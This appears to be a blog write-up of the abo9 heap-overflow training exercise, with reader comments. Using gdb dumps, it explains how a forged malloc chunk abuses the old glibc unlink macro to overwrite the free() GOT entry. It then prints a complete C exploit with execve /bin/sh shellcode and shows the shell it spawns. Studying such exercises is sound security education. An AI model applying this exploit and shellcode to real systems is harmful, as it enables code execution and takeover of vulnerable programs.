abo9 was a challenge for me and I couldn't get through it by myself. The following helped significantly:
* w00w00 on Heap Overflows
* Vudo malloc tricks
* CoreSecurity Team's Vulnerabilities in your code - Advanced Buffer Overflows
Set some breakpoints.
Just to verify what fd and bk of the fake chunk are pointing to.
Execute free(pbuf2). This is where the unlink macro is used to overwrite things.
free() checks pbuf2's size field (which I control) and sees that the PREV_INUSE bit is not set. This means a neighboring chunk should be unlinked and merged with pbuf2. The neighboring chunk is calculated using pbuf2's prev_size field (which I control). In this case it is set to -4.
At 0x804979c is where the fake chunk starts at.
The unlink macro looks something like this.
I visualize it like this.
Just to verify
(gdb) x/10x pbuf1 - 8
0x8049690: 0x00000000 0x00000109 0x41414141 0x41414141
0x80496a0: 0x70700ceb 0x73737373 0x080495c4 0x1feb6666
0x80496b0: 0x0876895e 0x4688c031
(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>: 0x080496a0
(gdb) x/x 0x080496a0
0x80496a0: 0x70700ceb
That's the theory. In practice I couldn't implement it. I had to replace the gets() call with a strcpy(). The first jmp in the shellcode does contain a \x0a (\n) which would terminate the gets before everything is copied, but even making the jump longer, I couldn't get the shellcode to execute. After a long debug, I ran out of ideas.
Here's the exploit, heavily based on the example from vudo.
And in action.
* w00w00 on Heap Overflows
* Vudo malloc tricks
* CoreSecurity Team's Vulnerabilities in your code - Advanced Buffer Overflows
/* abo9.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* free(your mind) */ /* I'm not sure in what operating systems it can be done */ int main(int argv,char **argc) { char *pbuf1=(char*)malloc(256); char *pbuf2=(char*)malloc(256); gets(pbuf1); free(pbuf2); free(pbuf1); }
Set some breakpoints.
12 free(pbuf2); 13 free(pbuf1); 14 } (gdb) break 12 Breakpoint 1 at 0x80484fe: file abo9.c, line 12. (gdb) break 13 Breakpoint 2 at 0x804850c: file abo9.c, line 13. (gdb) run < of Starting program: /home/dennis/abo9/tmp/abo9 < of Breakpoint 1, main (argv=1, argc=0xbffffb7c) at abo9.c:12 12 free(pbuf2);Here are the malloc data structures before any free()s.
pbuf1: prev_size: 0x00000000 size : 0x00000109 data : 0x41s and shellcode (gdb) x/10x pbuf1 - 8 0x8049690: 0x00000000 0x00000109 0x41414141 0x41414141 0x80496a0: 0x70700ceb 0x73737373 0x66666666 0x1feb6666 0x80496b0: 0x0876895e 0x4688c031 pbuf2: prev_size: 0xfffffffc (-4) size : 0xfffffffc (-4 with PREV_INUSE bit unset) data : pieces of the fake free chunk) fake free chunk: prev_size: 0xfffffffc (-4) size : 0x0defaced (junk) fd : 0x080495c4 (free GOT entry - 12) bk : 0x080496a0 (pbuf1 data) (gdb) x/10x pbuf2 - 8 0x8049798: 0xfffffffc 0xfffffffc 0x0defaced 0x080495c4 0x80497a8: 0x080496a0 0x00000000 0x00000000 0x00000000 0x80497b8: 0x00000000 0x00000000
Just to verify what fd and bk of the fake chunk are pointing to.
(gdb) x/x 0x080495c4 + 12 0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483b6 (gdb) x/x 0x080483b6 0x80483b6 <free+6>: 0x00003068 0x8049698: 0x41414141 (gdb) x/x 0x080496a0 - 8 0x8049698: 0x41414141
Execute free(pbuf2). This is where the unlink macro is used to overwrite things.
free() checks pbuf2's size field (which I control) and sees that the PREV_INUSE bit is not set. This means a neighboring chunk should be unlinked and merged with pbuf2. The neighboring chunk is calculated using pbuf2's prev_size field (which I control). In this case it is set to -4.
(gdb) x/x pbuf2 0x80497a0: 0xfffffff9 (gdb) x/x pbuf2 - 4 0x804979c: 0xfffffffc
At 0x804979c is where the fake chunk starts at.
The unlink macro looks something like this.
#define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; }
I visualize it like this.
P = fake_chunk BK = fake_chunk->bk = (pbuf1) FD = fake_chunk->fd = (got) got + 12 = (pbuf1) pbuf + 8 = (got)
Just to verify
(gdb) x/10x pbuf1 - 8
0x8049690: 0x00000000 0x00000109 0x41414141 0x41414141
0x80496a0: 0x70700ceb 0x73737373 0x080495c4 0x1feb6666
0x80496b0: 0x0876895e 0x4688c031
(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>: 0x080496a0
(gdb) x/x 0x080496a0
0x80496a0: 0x70700ceb
That's the theory. In practice I couldn't implement it. I had to replace the gets() call with a strcpy(). The first jmp in the shellcode does contain a \x0a (\n) which would terminate the gets before everything is copied, but even making the jump longer, I couldn't get the shellcode to execute. After a long debug, I ran out of ideas.
dennis@ipa:~/abo9$ cat abo9strcpy.c /* abo9.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* free(your mind) */ /* I'm not sure in what operating systems it can be done */ int main(int argv,char **argc) { char *pbuf1=(char*)malloc(256); char *pbuf2=(char*)malloc(256); //gets(pbuf1); strcpy(pbuf1, argc[1]); free(pbuf2); free(pbuf1); }
Here's the exploit, heavily based on the example from vudo.
#include <stdio.h> #include <string.h> #include <unistd.h> /* objdump -R abo9strcpy | grep free */ #define FUNCTION_POINTER ( 0x080495ec ) /* ltrace ./abo9strcpy | grep 256 */ #define CODE_ADDRESS ( 0x080496b8 + 2*4 ) #define VULNERABLE "./abo9strcpy" #define NEGATIVE 0xfffffffc #define JUNK 0xdefaced char shellcode[] = /* the jump instruction */ "\xeb\x0appssssffff" /* the Aleph One shellcode */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(void) { char *p; char argv1[272 + 1]; char *argv[] = { VULNERABLE, argv1, NULL }; p = argv1; /* fill pbuf1 with padding */ memset(p, 'A', 8); p += 8; /* copy in shellcode */ memcpy(p, shellcode, strlen(shellcode)); p += strlen(shellcode); /* fill pbuf1 with more padding */ memset(p, 'A', 256 - 8 - strlen(shellcode)); p += 256 - 8 - strlen(shellcode); /* the prev_size field of the second chunk */ *((size_t *)p) = (size_t)(NEGATIVE); p += 4; /* the size field of the second chunk */ /* the prev_size field of fake chunk */ *((size_t *)p) = (size_t)(NEGATIVE); p += 4; /* the size field of the fake chunk */ *((size_t *)p) = (size_t)(JUNK); p += 4; /* the fd field of the fake chunk */ *((void **)p) = (void *)(FUNCTION_POINTER - 12); p += 4; /* the bk field of the fake chunk */ *((void **)p) = (void *)(CODE_ADDRESS); p += 4; *p = '\0'; execve(argv[0], argv, NULL); return -1; }
And in action.
[dennis@localhost abo9]$ ./unlink-exp sh-2.04$
what version of glibc are you using / can be used for this to work? I suppose not the latest
ReplyDeleteAdditional note.
ReplyDeletepbuf + 8 = (got) from the unlink macro is why the shell code needs "\xeb\x0appssssffff". This instruction jmps 10 bytes--over the GOT address--to the start of the proper shell code.
it doesn't execute because now there are several checks in malloc.c (the unlink function looks nothing like the one you posted) - there are checks to see if there is pointer corruption. The unlink macro was like that in very old glibc implementations.
ReplyDelete